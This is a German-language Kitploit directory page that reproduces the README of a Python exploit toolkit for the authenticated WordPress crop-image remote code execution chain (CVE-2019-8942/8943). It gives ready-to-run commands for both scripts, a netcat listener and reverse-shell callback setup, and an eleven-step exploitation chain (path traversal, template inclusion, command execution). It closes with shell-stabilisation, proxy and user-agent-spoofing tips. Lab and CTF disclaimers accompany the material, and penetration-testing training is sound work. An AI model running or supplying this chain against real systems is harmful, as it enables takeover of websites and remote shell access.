Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
WordPress-RCE-CVE-2019-8942 — Python-Exploit-Toolkit für WordPress Crop Image RCE — CVE-2019-8942 & CVE-2019-8943 | Kitploit
Tools/GitHubGitHub/speatx/wordpress-rce-cve-2019-8942
SchwachstellenanalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsLernen & BildungRed TeamingPayload-EntwicklungLabs & Praxis

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHubspeatx/wordpress-rce-cve-2019-8942

WordPress-RCE-CVE-2019-8942

Python-Exploit-Toolkit für WordPress Crop Image RCE — CVE-2019-8942 & CVE-2019-8943

Repository anzeigen
1vor 2 MonatenNoch nicht geprüft

WordPress Crop Image RCE — CVE-2019-8942 / CVE-2019-8943

Python3-Implementierung der authentifizierten WordPress-Crop-Image-Exploit-Kette. Das Repository ist um zwei unabhängige Arbeitsabläufe organisiert: ein manuelles OSCP-Skript und ein vollautomatisches Skript mit integriertem Reverse-Shell-Handler.

Verwenden Sie dies nur in autorisierten Laboren, CTFs, Trainingsplattformen oder Systemen, für die Sie eine ausdrückliche Erlaubnis zum Testen haben.


Betroffene WordPress-Versionen

Die Exploit-Kette zielt auf die Schwachstellen mit folgenden Tracking-IDs ab:

  • CVE-2019-8942
  • CVE-2019-8943

Das öffentliche Metasploit-Modul für diese Schwachstelle beschreibt die betroffenen Versionen wie folgt:

root@kitploit:~
WordPress 5.0.0 und WordPress <= 4.9.8

Ein gültiges WordPress-Konto mit Berechtigungen zum Hochladen/Bearbeiten von Medien ist erforderlich. In vielen Laborumgebungen reicht ein Benutzer auf Autoren-Ebene aus.


Repository-Struktur

root@kitploit:~
.
├── autoexploit.py
├── exploit_oscp.py
├── image.jpg
├── README.md
└── requirements.txt

image.jpg ist der standardmäßige JPG-Träger, der vom OSCP-Skript verwendet wird. Er ist enthalten, damit der manuelle Arbeitsablauf sofort funktioniert, ohne dass ein zufälliges Bild gesucht werden muss.

autoexploit.py ist in sich geschlossen und enthält intern einen eigenen hexadezimalen JPG-Träger, kann aber auch mit -i einen benutzerdefinierten JPG akzeptieren.


Installation

root@kitploit:~
python3 -m pip install -r requirements.txt

Das einzige benötigte Python-Paket ist:

root@kitploit:~
requests

Wenn Sie SOCKS-Proxy-Unterstützung wünschen, installieren Sie requests mit SOCKS-Erweiterungen in Ihrer Umgebung:

root@kitploit:~
python3 -m pip install 'requests[socks]'

Skriptauswahl

Beide Skripte sind eigenständig. Keines importiert Code vom anderen.


OSCP-ähnlicher Arbeitsablauf

exploit_oscp.py hält den Arbeitsablauf explizit. Es bereitet den Bildträger vor, führt die authentifizierte WordPress-Exploit-Kette aus, bestätigt die Befehlsausführung und löst eine Reverse Shell zu dem von Ihnen manuell gestarteten Listener aus.

Es startet keinen Handler automatisch und verwendet kein Metasploit, Meterpreter oder msfvenom.

Grundlegende OSCP-Nutzung

Starten Sie zuerst Ihren Listener:

root@kitploit:~
nc -lvnp 443

Führen Sie den Exploit mit dem standardmäßigen image.jpg aus:

root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443

OSCP-Nutzung mit einem benutzerdefinierten JPG

root@kitploit:~
nc -lvnp 443
root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./custom.jpg --lhost 10.10.14.8 --lport 443

OSCP-Optionen

OSCP-Beispiel mit Burp

root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./image.jpg --lhost 10.10.14.8 --lport 443 --proxy http://127.0.0.1:8080

Vollautomatischer Arbeitsablauf

autoexploit.py ist auf Geschwindigkeit ausgelegt. Es kann nur mit Ziel-Anmeldeinformationen ausgeführt werden und versucht, die Callback-IP und den Listener-Port automatisch auszuwählen.

Es führt den vollständigen Exploit-Ablauf durch, startet einen lokalen Listener, probiert mehrere Reverse-Shell-Payload-Stile aus und öffnet eine sauberere interaktive Konsole mit farbigen lokalen Statusmeldungen und leiser TTY-Upgrade-Behandlung.

Grundlegende automatisierte Nutzung

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password

Automatisierte Nutzung mit expliziten Callback-Werten

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443

Automatisierte Nutzung mit benutzerdefiniertem Bild und Proxy

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password -i ./image.jpg --proxy http://127.0.0.1:8080

Automatisierte Optionen


Proxy- und User-Agent-Beispiele

HTTP-Proxy über Burp:

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080

SOCKS-Proxy:

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy socks5://127.0.0.1:9050

Benutzerdefinierter User-Agent:

root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --user-agent "Mozilla/5.0 Custom"

Zufälliger User-Agent:

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --random-user-agent

Warum das Bild wichtig ist

Dies ist kein normaler PHP-Upload. WordPress erwartet Bildinhalt, verarbeitet die Datei über den Media-Editor und erstellt ein zugeschnittenes Bild. Die Exploit-Kette missbraucht dann Anhangs-Metadaten und Path Traversal, um ein zugeschnittenes Bild im aktiven Theme-Verzeichnis zu platzieren. Schließlich wird die zugeschnittene Datei als Seitenvorlage referenziert, sodass WordPress sie als PHP einbindet.

Ein zufälliges JPG mit PHP in fragilen EXIF-Metadaten kann fehlschlagen, weil GD während der Zuschneideverarbeitung Metadaten entfernen oder neu codieren kann. Dieses Repository hält den Arbeitsablauf klar:

  • exploit_oscp.py verwendet standardmäßig das enthaltene image.jpg oder ein mit -i übergebenes benutzerdefiniertes Bild.
  • autoexploit.py enthält einen internen hexadezimalen Träger, sodass es in sich geschlossen bleibt.
  • Beide Arbeitsabläufe bereiten den Upload so vor, dass er den WordPress-Zuschneideschritt überstehen soll.

Technischer Ablauf

  1. Bei WordPress authentifizieren.
  2. Das aktive Theme erkennen.
  3. Den JPG-Träger über async-upload.php hochladen.
  4. Die Nonces für Medien, Bildeditor und Anhang abrufen.
  5. _wp_attached_file manipulieren, um den Ausgabepfad des Zuschnitts zu beeinflussen.
  6. Die Zuschneideaktion einmal auslösen, um das Verhalten vorzubereiten.
  7. Die Zuschneideaktion erneut auslösen, diesmal mit Pfad-Traversal in das aktive Theme-Verzeichnis.
  8. Einen Beitrag erstellen und _wp_page_template auf den Namen des zugeschnittenen JPG setzen.
  9. Den Beitrag anfordern, damit WordPress das erstellte JPG als Vorlage einbindet.
  10. Die Befehlsausführung über den GET-Parameter 0 bestätigen.
  11. Eine Reverse Shell zum konfigurierten oder automatisch ausgewählten Callback-Endpunkt auslösen.

Fehlerbehebung

Authentifizierung funktioniert, aber Befehlsausführung wird nicht bestätigt

Überprüfen Sie, ob die WordPress-Version angreifbar ist und ob das Konto Medien hochladen und bearbeiten kann.

root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --debug

Befehlsausführung wird bestätigt, aber keine Shell kommt zurück

Überprüfen Sie die Callback-IP und den Listener.

root@kitploit:~
ip addr show tun0
root@kitploit:~
nc -lvnp 443

Führen Sie dann das OSCP-Skript erneut mit der korrekten --lhost aus.

Burp zeigt keinen Traffic an

Verwenden Sie die Proxy-Option explizit:

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080

SOCKS-Proxy schlägt fehl

Installieren Sie SOCKS-Unterstützung:

root@kitploit:~
python3 -m pip install 'requests[socks]'

Shell fühlt sich instabil an

Einfache Reverse Shells sind oft eingeschränkt. Das automatisierte Skript versucht, die Sitzung automatisch zu verbessern. Im OSCP-Modus verbessern Sie die Shell manuell, nachdem Sie den Callback erhalten haben:

root@kitploit:~
python3 -c 'import pty; pty.spawn("/bin/bash")'

Drücken Sie lokal Strg+Z und führen Sie dann aus:

root@kitploit:~
stty raw -echo; fg

Innerhalb der Shell:

root@kitploit:~
export TERM=xterm

OSCP-ähnliche Hinweise

exploit_oscp.py ist absichtlich manuell gehalten:

  • kein Metasploit;
  • kein Meterpreter;
  • kein automatischer Handler;
  • keine Abhängigkeit von autoexploit.py;
  • expliziter, vom Bediener kontrollierter Listener;
  • explizite LHOST und LPORT;
  • klare Ausgabe, die jede Phase zeigt.

Der beabsichtigte Arbeitsablauf ist:

root@kitploit:~
nc -lvnp 443
root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443

Credits

Forschung und Schwachstellenkette wurden von den ursprünglichen Forschern öffentlich dokumentiert und später in öffentlichen Exploitation-Frameworks implementiert.

Python-Implementierung und Labor-Arbeitsablauf von SpeatX.


Rechtlicher Hinweis

Dieses Repository wird für autorisierte Sicherheitstests, CTFs, Trainingslabore und Bildungsforschung bereitgestellt.

Führen Sie es nicht gegen Systeme aus, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.

Tool herunterladen
SkriptAm besten geeignet fürBildverarbeitungShell-Handling
exploit_oscp.pyOSCP-artige/manuelle AusnutzungVerwendet standardmäßig image.jpg oder -i custom.jpgSie starten nc manuell
autoexploit.pySchnelle Labornutzung und wiederholte TestsVerwendet standardmäßig ein eingebettetes hex JPG oder -i custom.jpgStartet den Listener, löst Callbacks aus und öffnet eine interaktive Konsole
OptionErforderlichStandardBedeutung
-t, --targetJaKeinerZiel-WordPress-Basis-URL, z. B. http://target.local/
-u, --usernameJaKeinerWordPress-Benutzername
-p, --passwordJaKeinerWordPress-Passwort
-i, --imageNeinimage.jpgJPG-Träger zum Vorbereiten und Hochladen
--lhostJaKeinerIhre Callback-IP, normalerweise Ihre VPN-/tun0-IP
--lportJaKeinerPort, auf dem Ihr manueller Listener lauscht
--proxyNeinKeinerProxy-URL, z. B. http://127.0.0.1:8080 oder socks5://127.0.0.1:9050
--user-agentNeinEingebautBenutzerdefinierter User-Agent-Header
--random-user-agentNeinDeaktiviertVerwendet einen zufälligen browserähnlichen User-Agent
--timeoutNein20HTTP-Timeout in Sekunden
--debugNeinDeaktiviertHTTP-Debug-Ausgabe ausgeben und nützliche fehlgeschlagene Antworten speichern
OptionErforderlichStandardBedeutung
-t, --targetJaKeinerZiel-WordPress-Basis-URL
-u, --usernameJaKeinerWordPress-Benutzername
-p, --passwordJaKeinerWordPress-Passwort
-i, --imageNeinEingebettetes hex JPGOptionaler benutzerdefinierter JPG-Träger
--lhostNeinAutomatisch erkanntCallback-IP, die von der Reverse Shell verwendet wird
--lportNeinFreier lokaler PortLokaler Listener-Port
--listen-timeoutNein12Sekunden, die auf jeden Reverse-Shell-Versuch gewartet wird
--proxyNeinKeinerProxy-URL, z. B. http://127.0.0.1:8080 oder socks5://127.0.0.1:9050
--user-agentNeinEingebautBenutzerdefinierter User-Agent-Header
--random-user-agentNeinDeaktiviertVerwendet einen zufälligen browserähnlichen User-Agent
--timeoutNein20HTTP-Timeout in Sekunden
--debugNeinDeaktiviertHTTP-Debug-Ausgabe ausgeben und nützliche fehlgeschlagene Antworten speichern